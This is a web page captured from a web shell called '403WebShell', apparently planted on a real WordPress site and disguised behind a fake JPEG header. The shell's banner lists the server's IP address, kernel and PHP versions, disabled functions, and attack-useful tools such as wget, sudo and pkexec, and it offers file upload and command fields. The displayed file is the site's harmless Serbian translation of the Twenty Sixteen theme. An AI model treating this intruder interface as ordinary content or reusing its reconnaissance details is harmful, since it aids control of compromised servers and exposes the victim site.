????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.15.201.103
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.se/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.se/wp-content/languages/themes/twentysixteen-sr_RS.po
# Translation of Twenty Sixteen in Serbian
# This file is distributed under the same license as the Twenty Sixteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2015-12-07 21:25:22+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n"
"X-Generator: GlotPress/2.1.0-alpha\n"
"Project-Id-Version: Twenty Sixteen\n"

#. Description of the plugin/theme
msgid "Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead with an optional right sidebar that works perfectly for blogs and websites. It has custom color options with beautiful default color schemes, a harmonious fluid grid using a mobile-first approach, and impeccable polish in every detail. Twenty Sixteen will make your WordPress look beautiful everywhere."
msgstr "Twenty Sixteen је модернизован поглед на популарни Вордпресов распоред — водоравни јарбол на врху са необавезном десном бочном траком која ради савршено за блогове и веб места. Има прилагођене могућности боја са прелепим подразумеваним шемама боја, складну течну решетку користећи приступ прво-преносиви и беспрекорну угланчаност у сваком детаљу. Twenty Sixteen ће направити да ваш Вордпрес свуда изгледа прелепо."

#. Theme Name of the plugin/theme
msgid "Twenty Sixteen"
msgstr "Twenty Sixteen"

#. translators: %s: Name of current post
#: image.php:84 template-parts/content-page.php:37
#: template-parts/content-search.php:28 template-parts/content-search.php:43
#: template-parts/content-single.php:45 template-parts/content.php:49
msgid "Edit<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "Уреди<span class=\"screen-reader-text\"> \"%s\"</span>"

#. translators: %s: Name of current post
#: inc/template-tags.php:184 template-parts/content.php:28
msgid "Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "Настави са читањем<span class=\"screen-reader-text\"> \"%s\"</span>"

#: inc/customizer.php:283
msgid "Red"
msgstr "Црвена"

#. translators: %s: post title
#: comments.php:31
msgctxt "comments title"
msgid "One thought on &ldquo;%s&rdquo;"
msgstr "Једно мишљење на &#0132;%s&#0147;"

#: searchform.php:16
msgctxt "submit button"
msgid "Search"
msgstr "Претражи"

#: searchform.php:14
msgctxt "placeholder"
msgid "Search &hellip;"
msgstr "Претрага &hellip;"

#: searchform.php:13
msgctxt "label"
msgid "Search for:"
msgstr "Претрага за:"

#: footer.php:17
msgid "Footer Primary Menu"
msgstr "Примарни изборник у подножју"

#: footer.php:28
msgid "Footer Social Links Menu"
msgstr "Изборник друштвених веза у подножју"

#: functions.php:158
msgid "Add widgets here to appear in your sidebar."
msgstr "Овде додајте виџете како би се појавили у вашој бочној траци."

#: template-parts/content.php:14
msgid "Featured"
msgstr "Издвојено"

#: template-parts/content-none.php:28
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Изгледа да не можемо да пронађемо оно што сте тражили. Можда ће претраживање помоћи."

#: template-parts/content-none.php:23
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Жао нам је, али ништа не одговара вашем упиту. Молимо вас да покушате поново са другим кључним речима."

#: template-parts/content-none.php:19
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "Спремни сте да објавите свој први чланак? <a href=\"%1$s\">Започните овде</a>."

#: template-parts/content-none.php:13
msgid "Nothing Found"
msgstr "Ништа није пронађено"

#: template-parts/biography.php:33
msgid "View all posts by %s"
msgstr "Види све чланке од %s"

#: template-parts/biography.php:28
msgid "Author:"
msgstr "Аутор:"

#: single.php:38
msgid "Previous post:"
msgstr "Претходни чланак:"

#: single.php:35
msgid "Next post:"
msgstr "Следећи чланак:"

#: single.php:37
msgid "Previous"
msgstr "Претходно"

#: single.php:34
msgid "Next"
msgstr "Следеће"

#: search.php:18
msgid "Search Results for: %s"
msgstr "Резултати претраживања за: %s"

#: inc/template-tags.php:106
msgctxt "Used before tag names."
msgid "Tags"
msgstr "Ознаке"

#: inc/template-tags.php:98
msgctxt "Used before category names."
msgid "Categories"
msgstr "Категорије"

#: inc/template-tags.php:95 inc/template-tags.php:103
msgctxt "Used between list items, there is a space after the comma."
msgid ", "
msgstr ", "

#: inc/template-tags.php:79
msgctxt "Used before publish date."
msgid "Posted on"
msgstr "Објављено"

#: inc/template-tags.php:50
msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>"
msgstr "Оставите коментар<span class=\"screen-reader-text\"> на %s</span>"

#: inc/template-tags.php:38
msgctxt "Used before post format."
msgid "Format"
msgstr "Облик"

#: inc/template-tags.php:25
msgctxt "Used before post author name."
msgid "Author"
msgstr "Аутор"

#: inc/customizer.php:293
msgid "Yellow"
msgstr "Жута"

#: inc/customizer.php:273
msgid "Gray"
msgstr "Сива"

#: inc/customizer.php:263
msgid "Dark"
msgstr "Тамна"

#: inc/customizer.php:184
msgid "Secondary Text Color"
msgstr "Секундарна боја текста"

#: inc/customizer.php:253
msgid "Default"
msgstr "Подразумевана"

#: inc/customizer.php:172
msgid "Main Text Color"
msgstr "Главна боја текста"

#: inc/customizer.php:145
msgid "Page Background Color"
msgstr "Боја позадине заглавља"

#: inc/customizer.php:160
msgid "Link Color"
msgstr "Боја везе"

#: inc/customizer.php:130
msgid "Base Color Scheme"
msgstr "Основна шема боја"

#: inc/back-compat.php:41 inc/back-compat.php:53 inc/back-compat.php:68
msgid "Twenty Sixteen requires at least WordPress version 4.4. You are running version %s. Please upgrade and try again."
msgstr "Twenty Sixteen захтева издање Вордпреса најмање 4.4. Користите издање %s. Молимо вас да ажурирате и покушате поново."

#: image.php:102 single.php:29
msgctxt "Parent post link"
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>"
msgstr "<span class=\"meta-nav\">Објављено под</span><span class=\"post-title\">%title</span>"

#: image.php:73
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "Пуна величина"

#: image.php:56 template-parts/content-page.php:23
#: template-parts/content-single.php:25 template-parts/content.php:33
msgid "Pages:"
msgstr "Стране:"

#: image.php:25
msgid "Next Image"
msgstr "Следећа слика"

#: image.php:24
msgid "Previous Image"
msgstr "Претходна слика"

#: header.php:47
msgid "Menu"
msgstr "Изборник"

#: header.php:27
msgid "Skip to content"
msgstr "Скочи на садржај"

#: functions.php:285
msgid "collapse child menu"
msgstr "скупи изборник дете"

#: functions.php:284
msgid "expand child menu"
msgstr "прошири изборник дете"

#. translators: If there are characters in your language that are not supported
#. by Montserrat, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:208
msgctxt "Montserrat font: on or off"
msgid "on"
msgstr "off"

#. translators: If there are characters in your language that are not supported
#. by Merriweather, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:203
msgctxt "Merriweather font: on or off"
msgid "on"
msgstr "off"

#: functions.php:176
msgid "Content Bottom 2"
msgstr "Дно садржаја 2"

#: functions.php:168 functions.php:178
msgid "Appears at the bottom of the content on posts and pages."
msgstr "Појављује се на дну садржаја на чланцима и странама."

#: functions.php:166
msgid "Content Bottom 1"
msgstr "Дно садржаја 1"

#. translators: If there are characters in your language that are not supported
#. by Inconsolata, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:213
msgctxt "Inconsolata font: on or off"
msgid "on"
msgstr "off"

#: functions.php:156
msgid "Sidebar"
msgstr "Бочна трака"

#: functions.php:89 header.php:62
msgid "Social Links Menu"
msgstr "Изборник друштвених веза"

#: functions.php:88 header.php:51
msgid "Primary Menu"
msgstr "Примарни изборник"

#: footer.php:51
msgid "Proudly powered by %s"
msgstr "Са поносом покреће %s"

#: comments.php:69
msgid "Comments are closed."
msgstr "Затворено за коментаре."

#. translators: 1: number of comments, 2: post title
#: comments.php:35
msgctxt "comments title"
msgid "%1$s thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "%1$s мишљењa на &#0132;%2$s&#0147;"
msgstr[1] "%1$s мишљења на &#0132;%2$s&#0147;"
msgstr[2] "%1$s мишљења на &#0132;%2$s&#0147;"

#: archive.php:51 image.php:60 index.php:48 search.php:39
#: template-parts/content-page.php:27 template-parts/content-single.php:29
#: template-parts/content.php:37
msgid "Page"
msgstr "Страна"

#: archive.php:50 index.php:47 search.php:38
msgid "Next page"
msgstr "Следећа страна"

#: archive.php:49 index.php:46 search.php:37
msgid "Previous page"
msgstr "Претходна страна"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Изгледа да ништа није пронађено на овом месту. Можда да покушате претраживање?"

#: 404.php:17
msgid "Oops! That page can&rsquo;t be found."
msgstr "Упс! Та страница не може бити пронађена."

#. Author of the plugin/theme
msgid "the WordPress team"
msgstr "Вордпресова екипа"

#. Theme URI of the plugin/theme
msgid "https://wordpress.org/themes/twentysixteen/"
msgstr "https://wordpress.org/themes/twentysixteen/"

#. #-#-#-#-#  twentysixteen.pot (Twenty Sixteen 1.3)  #-#-#-#-#
#. Author URI of the plugin/theme
#: footer.php:51
msgid "https://wordpress.org/"
msgstr "https://sr.wordpress.org/"

Youez - 2016 - github.com/yon3zu
LinuXploit